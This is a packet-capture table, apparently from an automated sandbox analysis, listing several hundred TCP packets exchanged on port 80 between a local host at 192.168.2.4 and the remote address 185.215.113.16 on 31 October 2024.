Oct 31, 2024 04:15:11.678780079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.678800106 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.678800106 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.679533005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679543018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679553032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679563999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679577112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679586887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679594994 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.679595947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679606915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679616928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679626942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679640055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679651976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679655075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.679662943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679672956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679677010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.679685116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679696083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.679697037 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.679734945 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.679734945 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.680416107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680427074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680437088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680448055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680459023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680469036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680470943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.680480003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680493116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680504084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680516958 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.680521011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680526018 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.680531979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680541992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680566072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680577040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.680577993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.680588007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681427956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681438923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681447983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681456089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.681457996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681468964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681478977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681489944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681502104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681507111 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.681513071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681524038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681533098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681538105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.681543112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681554079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681555033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.681566000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681575060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.681576014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681586981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681598902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.681612968 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.682265997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682276964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682286024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682296991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682297945 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.682307005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682317972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682318926 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.682328939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682339907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682341099 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.682351112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682362080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682363033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.682372093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682378054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682387114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682394981 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.682398081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682409048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682418108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682427883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.682429075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.682590961 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.683150053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.683161020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.683166981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.683176041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.683181047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.683187008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.683197975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.683208942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.683219910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.683224916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.683229923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.683238983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.683244944 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.683248997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.683259010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.683264971 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.683286905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.683830976 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.718427896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.718499899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.718678951 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.723457098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.723469019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.723553896 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.782248020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.782263994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.782413960 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852257013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852271080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852282047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852287054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852297068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852308035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852319002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852330923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852343082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852354050 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852386951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852399111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852408886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852416039 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852422953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852432966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852436066 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852444887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852457047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852468967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852473021 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852479935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852492094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852504969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852508068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852518082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852523088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852530003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852546930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852559090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852569103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852572918 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852582932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852616072 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852682114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852715969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852726936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852737904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852751017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852762938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852775097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852790117 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852792978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852803946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852819920 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852819920 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852865934 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.852878094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.852890015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.853039026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.853050947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.853064060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.853136063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.853208065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.853368998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.853380919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.853663921 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.854216099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854229927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854242086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854253054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854259014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854269981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854276896 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.854280949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854293108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854305983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854315996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854320049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.854320049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.854340076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854367971 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.854412079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.854551077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854562998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854573011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854583979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854595900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854607105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.854675055 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.854675055 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.855220079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855232000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855377913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855390072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855400085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855417967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855418921 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.855429888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855444908 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.855529070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855540991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855551004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855557919 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.855562925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855576038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855581999 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.855587006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855597973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855608940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.855617046 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.855684996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.856376886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856389046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856399059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856410980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856422901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856448889 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.856520891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856533051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856543064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856547117 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.856553078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856564045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856575012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856636047 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.856667042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856681108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856692076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856698036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.856703997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856714010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.856838942 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.857038021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857049942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857060909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857074022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857156992 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.857180119 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857192039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857286930 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.857364893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857377052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857388020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857399940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857409954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857423067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857434034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857445002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857455969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.857470036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.857470036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.857536077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.858154058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858167887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858177900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858191967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858202934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858213902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858232975 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.858273029 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.858299017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858311892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858324051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858335018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858345985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858357906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858371019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858374119 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.858382940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858392954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858423948 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.858423948 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.858457088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858510017 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.858983994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.858997107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.859008074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.859042883 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.859148026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.859159946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.859169006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.859219074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.859219074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.881624937 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.890954971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.890985966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.890999079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.891069889 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.896632910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.896650076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.896663904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.896725893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.896761894 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.961641073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.961906910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.962022066 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.977971077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.028503895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.028629065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.028667927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.028691053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.028698921 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.028712988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.028750896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.028758049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.028774977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.028805017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.028831959 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.028832912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.028856039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.028879881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.028883934 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.029032946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029052019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029062986 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.029073000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029095888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029100895 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.029114008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029141903 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.029141903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029165030 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.029326916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029350042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029485941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029506922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029512882 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.029529095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.029530048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029551983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.029573917 CET	80	49738	185.215.113.16	192.168.2.4
